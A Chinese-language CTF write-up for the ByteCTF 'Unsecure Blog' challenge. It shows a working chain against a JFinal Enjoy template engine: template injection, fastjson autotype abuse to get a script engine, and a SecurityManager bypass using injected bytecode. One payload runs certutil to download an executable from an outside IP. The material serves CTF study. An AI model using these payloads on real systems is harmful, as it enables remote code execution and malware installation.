ByteCTF-Unsecure Blog
Unsecure Blog
http://39.105.169.140:30000/
首先是设置调试:先下载源码。
IDEA打开源码,设置远程JVM调试复制调试信息到bat文件里
- suspend=n 用来告知 JVM 立即执行,不要等待未来将要附着上/连上(attached)的调试者。如果设成 y, 则应用将暂停不运行,直到有调试者连接上
将lib添加为库
然后再jfinal-blog包里下断点
在启动文件bat里可以看到主类目录
命令行启动java项目
jfinal.bat start
点击启动调试
后台jfinal/111111
登录后preview有ssti
这里用到了enjoy模板
enjoy模板官方文档https://jfinal.com/doc/6-2
这里存在SSTI
翻阅文档可以发现了可以调用静态方法。
如果直接调用实例对象的方法,在模板源码里有一些拦截
Class<?>[] cs = new Class[] {
System.class, Runtime.class, Thread.class, Class.class, ClassLoader.class, File.class, Compiler.class, InheritableThreadLocal.class, Package.class, Process.class,
RuntimePermission.class, SecurityManager.class, ThreadGroup.class, ThreadLocal.class, Method.class, Proxy.class, ProcessBuilder.class, MethodKit.class };
for (Class<?> c : cs)
forbiddenClasses.add(c);
String[] ms = {
"getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader", "invoke", "notify", "notifyAll", "wait", "exit",
"loadLibrary", "halt", "stop", "suspend", "resume", "removeForbiddenClass", "removeForbiddenMethod" };
目前要达到命令执行必须达成三个条件
- 只能调用公共静态方法;
- 不能调用类黑名单中的类;
- 不能调用方法黑名单中的方法;
不使用new的方式,常用的依赖于JDK来达到命令执行的方法,无非就是通过反射或类加载器来实例化ProcessBuilder对象来执行命令,或者通过反射调用java.lang.Runtime的exec()方法来执行命令
所以核心问题在于:找一个能返回实例的静态方法
虽然环境里的依赖是fastjson1.2.73 但是fastjson是支持自己手动开autotype和添加白名单的
所以代码长这样
com.alibaba.fastjson.parser.ParserConfig.getGlobalInstance().addAccept("javax.script.ScriptEngineManager");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
转换成模板注入就是这样
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
getGlobalInstance刚刚好好是个静态方法
而JSON.parse也同样是静态方法 所以就可以利用fastjson来创建任意的对象了。这里如果jdk低版本就可以用fastjson打jndi注入了。
最后是选择了 javax.script.ScriptEngineManager来执行Java代码
fastjson添加白名单的方法为addAccept
因此添加白名单:
#(x.addAccept("javax.script.ScriptEngineManager"))
我们先把javax.script.ScriptEngineManager
添加为白名单。
然后使用fastJson加载javax.script.ScriptEngineManager
#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
这样就能得到一个ScriptEngineManager实例。
然后用这个实例来执行命令
#set(b=a.getEngineByName('js'))
#set(payload=xxxxxx)
#(b.eval(payload))
组合起来的payload就是
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#(x.addAccept("javax.script.ScriptEngineManager"))
#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(b=a.getEngineByName('js'))
#set(payload=xxxxxx)
#(b.eval(payload))
那么eval里就能执行Java代码。
这样可以执行java代码
当我们执行
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())#(x.setAutoTypeSupport(true))#(x.addAccept("javax.script.ScriptEngineManager"))#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))#set(b=a.getEngineByName('js'))#set(payload="var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"calc\");")#(b.eval(payload))
但是此时将代码换成执行命令的方法时却没有执行命令。會返回
发现这里有执行命令的限制
public class ForbiddenSecurityManager { public static void setSecurityManager() { SecurityManager oldSecurityManager = System.getSecurityManager(); if (oldSecurityManager == null) { SecurityManager execSecurityManager = new SecurityManager() { private void check(Permission permission) { if (permission instanceof java.io.FilePermission) { String actions = permission.getActions(); if (actions != null && actions.contains("execute")) throw new SecurityException("cant execute file!"); if (actions != null && actions.contains("write") && permission.getName().endsWith(".dll")) throw new SecurityException("cant create dll file"); } if (permission instanceof RuntimePermission) { String name = permission.getName(); if (name != null && name.contains("setSecurityManager")) throw new SecurityException("cant overwrite SecurityManager!"); } } public void checkPermission(Permission perm) { check(perm); } public void checkPermission(Permission perm, Object context) { check(perm); } }; System.setSecurityManager(execSecurityManager); } }}
那么接下来就是如何绕过这个沙盒。
https://www.anquanke.com/post/id/151398#h3-6
这里尝试加载字节码,执行反射的内容。来bypass沙箱的限制
首先我们需要简单的了解下java中的js命令执行
最后使用js引擎加载字节码,成功RCE
payload
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())#(x.setAutoTypeSupport(true))#(x.addAccept("javax.script.ScriptEngineManager"))#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))#set(b=a.getEngineByName('js'))#set(payload="var clazz = java.security.SecureClassLoader.class; var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE); method.setAccessible(true); var classBytes = 'yv66vgAAADQAVQoADQAsCAAtCgAFAC4IAC8HADAHACkHADEHADIHADYJADcAOAoABQA5CgA6ADsHADwIAD0KADcAPgoAOgA/BwBACgARAEEHAEIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQADY2x6AQARTGphdmEvbGFuZy9DbGFzczsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAJTEV4cGxvaXQ7AQANU3RhY2tNYXBUYWJsZQcAQgcAQAEACkV4Y2VwdGlvbnMHAEMBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADEV4cGxvaXQuamF2YQwAFAAVAQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsDABEAEUBAAVzdGFydAEAD2phdmEvbGFuZy9DbGFzcwEADWphdmEvdXRpbC9NYXABABBqYXZhL2xhbmcvU3RyaW5nBwBHAQAIUmVkaXJlY3QBAAxJbm5lckNsYXNzZXMBACRbTGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdDsHAEgMAEkAGgwASgBLBwBMDABNAE4BABBqYXZhL2xhbmcvT2JqZWN0AQAEY2FsYwwATwBQDABRAFIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABTABUBAAdFeHBsb2l0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBUAQAhamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyJFJlZGlyZWN0AQARamF2YS9sYW5nL0Jvb2xlYW4BAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKFopTGphdmEvbGFuZy9Cb29sZWFuOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgAhABMADQAAAAAAAgABABQAFQACABYAAADsAAkAAwAAAGYqtwABEgK4AANMKxIECL0ABVkDEgZTWQQSB1NZBRIIU1kGEglTWQeyAApTtgALTSwEtgAMLCsIvQANWQMEvQAIWQMSDlNTWQQBU1kFAVNZBgFTWQcDuAAPU7YAEFenAAhMK7YAErEAAQAEAF0AYAARAAMAFwAAACYACQAAAAYABAAIAAoACQAvAAoANAALAF0ADgBgAAwAYQANAGUADwAYAAAAKgAEAAoAUwAZABoAAQAvAC4AGwAcAAIAYQAEAB0AHgABAAAAZgAfACAAAAAhAAAAEAAC/wBgAAEHACIAAQcAIwQAJAAAAAQAAQAlAAkAJgAnAAIAFgAAACsAAAABAAAAAbEAAAACABcAAAAGAAEAAAASABgAAAAMAAEAAAABACgAKQAAACQAAAAEAAEAEQACACoAAAACACsANQAAAAoAAQAzAEYANAQJ'; var bytes = java.util.Base64.getDecoder().decode(classBytes); var constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true); var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);print(clz); clz.newInstance();")#(b.eval(payload))
字节码文件
import java.io.IOException;import java.lang.reflect.Method;import java.util.Map;public class Exploit { public Exploit() throws IOException { try { Class clz = Class.forName("java.lang.ProcessImpl"); Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); method.setAccessible(true); method.invoke(clz, new String[]{"calc"}, null, null, null, false); } catch (Exception e) { e.printStackTrace(); } } public static void main(String []args) throws Exception { }}
然后就可以下载文件上线了。远程有杀软
import java.io.IOException;import java.lang.reflect.Method;import java.util.Map;public class Exploit { public Exploit() throws IOException { try { Class clz = Class.forName("java.lang.ProcessImpl"); Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); method.setAccessible(true); method.invoke(clz, new String[]{"cmd","/c","certutil.exe -urlcache -split -f http://47.97.123.81/huorong.exe"}, null, null, null, false); } catch (Exception e) { e.printStackTrace(); } } public static void main(String []args) throws Exception { Exploit exploit = new Exploit(); }}
用#include可以读文件,先导出注册表,再读文件。
不使用fastjson的姿势
我们搜索newInstance(
可以找到这个静态方法,也可也实例化一个类。因此调用:
#((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension("js").eval("555-444"))
参考